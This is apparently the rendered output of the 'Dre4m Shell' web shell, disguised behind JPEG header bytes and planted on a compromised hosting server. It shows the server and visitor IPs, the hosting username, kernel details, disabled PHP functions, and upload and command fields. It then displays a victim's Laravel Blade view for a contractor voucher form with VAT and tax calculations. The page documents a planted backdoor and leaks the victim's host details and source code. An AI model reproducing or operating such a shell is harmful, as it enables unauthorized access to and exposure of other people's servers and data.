ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.135.249.98
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/fundscopied/resources/views/CreateContract/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/fundscopied/resources/views/CreateContract/pre-newcontract.blade.php
@extends('layouts.layout')
@section('pageTitle')
   {{ strtoupper('create contractor voucher') }}
@endsection
@section('content')
    <div class="box-header with-border hidden-print">
      <h3 class="box-title">@yield('pageTitle') <span id='processing'></span></h3>
    </div>
    <div class="box-body">
      <div class="row">
        <div class="col-md-12"><!--1st col--> 
                    @if ($warning<>'')
                      <div class="alert alert-dismissible alert-danger">
                      <button type="button" class="close" data-dismiss="alert">&times;</button>
                      <strong>{{$warning}}</strong> 
                      </div>
                      @endif
                      @if ($success<>'')
                      <div class="alert alert-dismissible alert-success">
                      <button type="button" class="close" data-dismiss="alert">&times;</button>
                      <strong>{{$success}}</strong> 
                      </div>
                      @endif
                      @if ($error<>'')
                      <div class="alert alert-dismissible alert-danger">
                      <button type="button" class="close" data-dismiss="alert">&times;</button>
                      <strong>{{$error}}</strong> 
                      </div>
                      @endif
                      @if (count($errors) > 0)
                    <div class="alert alert-danger alert-dismissible" role="alert">
                        <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
                        </button>
                        <strong>Error!</strong> 
                        @foreach ($errors->all() as $error)
                            <p>{{ $error }}</p>
                        @endforeach
                    </div>
                @endif
    @php 
        if(old('contractid') !== "")$contractid=old('contractid');
    @endphp  
<form method="post" enctype="multipart/form-data" >
    <div class="row">     
            {{ csrf_field() }}
            <div class="col-md-4">
    		    <div class="form-group">
    			  <label >Contract Tracking Number<span class="text-danger"/></label>
    			    <input type="text"  name="contractid"  class="form-control" value="{{$contractid}}" >
    			</div>
            </div>
            <div class="col-md-4">
    		    <div class="form-group">
    		        <br>
    			  <input type="submit" class="btn btn-success" value="Find" name="reload" />
    			</div>
            </div>
        </div>
</form>
 
  </div>
</div>
</div>
@endsection
@section('styles')
<link rel="stylesheet" type="text/css" href="{{asset('assets/css/datepicker.min.css')}}">
@stop
@section('styles')
<style type="text/css">
    .modal-dialog {
width:10cm
}

.modal-header {

background-color: #006600;

color:#FFF;

}

</style>
@endsection

@section('scripts')
<script src="{{asset('assets/js/jquery-ui.min.js')}}"></script>
<script>
$(document).ready(function(){
$('#allocationtype1').change(function()
{
var id = $this.val();
$.ajax({
  url: murl +'/session set',
  type: "post",
  data: {'nameID': id, '_token': $('input[name=_token]').val()},
  success: function(data){
    console.log(data);
        
  }
});
});
});
</script>
<script>
  
    function editfunc(a,b,c,d,e,f,g,h,i,j)
    {
    $(document).ready(function(){
        $('#contractor').val(a);
        $('#phone').val(b);
        $('#email').val(c);
        $('#address').val(d);
        $('#bank').val(e);
        $('#account').val(f);
        $('#sortcode').val(g);
        $('#tin').val(h);
        $('#C_id').val(i);
        $('#status').val(j);
        $("#editModal").modal('show');
     });
    }

    function delfunc(a)
  {
  $(document).ready(function(){
  $('#conID').val(a);
  $("#delModal").modal('show');
  });
  }

  function getEconomics(){
    
    var all = document.getElementById('allocationtype1').value;
    var con =  document.getElementById('contracttype1').value;
    var frm = document.getElementById('form1');

    if(all !== "" && con !== ""){
      return frm.submit();
    }
  }
  
  

  function getBalance(){
    var eco = document.getElementById('economicCode1').value;
    var frm = document.getElementById('form1');
    if(eco !== ""){
      return frm.submit();
    }
  }
 
  function viewInstruct(list,list1){
   space = document.getElementById('z-space');
    space.innerHTML = '';
       if(list1 !== ""){
        var a = JSON.parse(list1);
        space.innerHTML += 'Pre-payment Remarks <br>';
        for(i = 0; i < a.length; i++){
          space.innerHTML += '<p><b id="vi">'+ a[i].comment +'</b> - <small class="text-warning"> <i>'+a[i].name+', posted '+ a[i].date_added+' at '+ a[i].time +'</i></small></p><br>';
        }
       }
       if(list !== ""){
        var a = JSON.parse(list);
        space.innerHTML += '<br> payment Remarks <br>';
        for(i = 0; i < a.length; i++){
          space.innerHTML += '<p><b id="vi">'+ a[i].comment +'</b> - <small class="text-warning"> <i>'+a[i].name+', posted '+ a[i].date_added+' at '+ a[i].time +'</i></small></p><br>';
        }
       }
       $('#vim').modal('show');
       return false;
  }
  
  function setID(id){
      document.getElementById('selectedid').value = id;
      //var all = document.getElementById('allocationtype1').value;
      //var con =  document.getElementById('economicCode1').value;
      document.getElementById('finalsubmit').value = 'gettingstuff1';
      return document.getElementById('form1').submit();
      
  }

  function submitVoucher(){
      	//console.log(document.getElementById('form1'));
      	//return false;
       	document.getElementById('finalsubmit').value = 'complete';
      	return document.getElementById('form1').submit();
  }

  function getEconomics2(){
    var all = document.getElementById('secallocationtype').value;
    var con =  document.getElementById('contracttype1').value;
    var frm = document.getElementById('form1');
    if(all !== "" && con !== ""){
      return frm.submit();
    }
  } 
  
  function getAddrvat(){
      console.log(document.getElementById('vatPayeeID').value);
      return false;
  }
   
   
   function getAddrwht(){
      console.log(document.getElementById('whtPayeeID').value);
      return false;
  }
    
</script>

    </script>
    <script>
///////////////////////DATE///////////////////////////////// 
  $( function(){
      $("#todayDate").datepicker({changeMonth: true,changeYear: true,dateFormat: 'yy-mm-dd'}); 
    });
  ///////////////////////DATE/////////////////

    //$('#netAmount').focus(); 

    $('#companyGetLookUp').change( function() 
  {
    $('#beneficiaryName').val($('#companyGetLookUp').val());
  });
  

  
  vt = document.getElementById("vatPayeeID");
  wh = document.getElementById("whtPayeeID");
  
  if($("#vatselect").val() !== "0"){
  	vt.disabled = false;
  }
  
  if($("#WithholdingTax").val() !== "0"){
  	wh.disabled = false;
  }
  
  if($("#vatselect").val() == "0"){
  	vt.disabled = true;
  	vt.value = "";
  }
  
  if($("#WithholdingTax").val() == "0"){
  	wh.disabled = true;
  	wh.value = "";
  }
  
 
  
  $("#vatselect ,#WithholdingTax").change( function() {
  
  vt = document.getElementById("vatPayeeID");
  wh = document.getElementById("whtPayeeID");
  
  if($("#vatselect").val() !== "0"){
  	vt.disabled = false;
  }
  
  if($("#WithholdingTax").val() !== "0"){
  	wh.disabled = false;
  }
  
  if($("#vatselect").val() == "0"){
  	vt.disabled = true;
  	vt.value = "";
  }
  
  if($("#WithholdingTax").val() == "0"){
  	wh.disabled = true;
  	wh.value = "";
  }


  var amount = $("#netAmount").val();
  if( amount ==""){
  
  //alert error when amount is empty , vat and tax not applicable to zero amount 
  alert("amount cant be empty");
  $("#netAmount").focus();
         
  }
  else{

        var vat_rate = $("#vatselect").val();
  var tax_rate = $("#WithholdingTax").val();

  console.log( 'vat rate', vat_rate );
        console.log( 'tax rate', tax_rate );

  //we have amount not set to empty , calculate the vat and the tax 
  //display it and set it to the respective elements 
  //calculate vat value
  var demo= Number(vat_rate)+100;
  var vat = (vat_rate /demo) * amount;
  var mockval=amount-vat;
  //calculate tax value
   var tax = ( tax_rate / 100 ) * mockval;
  
   vat=vat.toFixed(2);
  $("#vat").val(vat); 
   
  //display the tax to the user 
  tax=tax.toFixed(2); 
  $("#tax").val(tax);
        
         //calculate net payable 
          var netpay = Number( amount) - ( Number ( vat ) + Number( tax) ) ;
            $("#grossAmount").html( netpay);
            netpay=netpay.toFixed(2); 
            $("#amtpayable").val(netpay);
  
  }
  
  })

function calc(){
    var amount = $("#netAmount").val();
  if( amount ==""){
  
  //alert error when amount is empty , vat and tax not applicable to zero amount 
  alert("amount cant be empty");
  $("#netAmount").focus();
         
  }
  else{

        var vat_rate = $("#vatselect").val();
  var tax_rate = $("#WithholdingTax").val();

  console.log( 'vat rate', vat_rate );
        console.log( 'tax rate', tax_rate );

  //we have amount not set to empty , calculate the vat and the tax 
  //display it and set it to the respective elements 
  //calculate vat value
  var demo= Number(vat_rate)+100;
  var vat = (vat_rate /demo) * amount;
  var mockval=amount-vat;
  //calculate tax value
   var tax = ( tax_rate / 100 ) * mockval;
   
   vat=vat.toFixed(2);
  $("#vat").val(vat);
  
  //display the tax to the user
  tax=tax.toFixed(2); 
  $("#tax").val(tax);
  //$("#netAmount").val(amount);
        
         //calculate net payable 
          var netpay = Number( amount) - ( Number ( vat ) + Number( tax) ) ;
          netpay=netpay.toFixed(2); 
            $("#grossAmount").html( netpay);
            $("#amtpayable").val(netpay);
  
  
}
  function showF(){
    document.getElementById('second-form').style.display = 'block';
    document.getElementById('show-btn').style.visibility = 'hidden';
    document.getElementById('hide-btn').style.visibility = 'visible';
}
  
}
  function hideF(){
    document.getElementById('second-form').style.display = 'none';
    document.getElementById('hide-btn').style.visibility = 'hidden';
    document.getElementById('show-btn').style.visibility = 'visible';
  }  
  </script>


@stop

Anon7 - 2022
AnonSec Team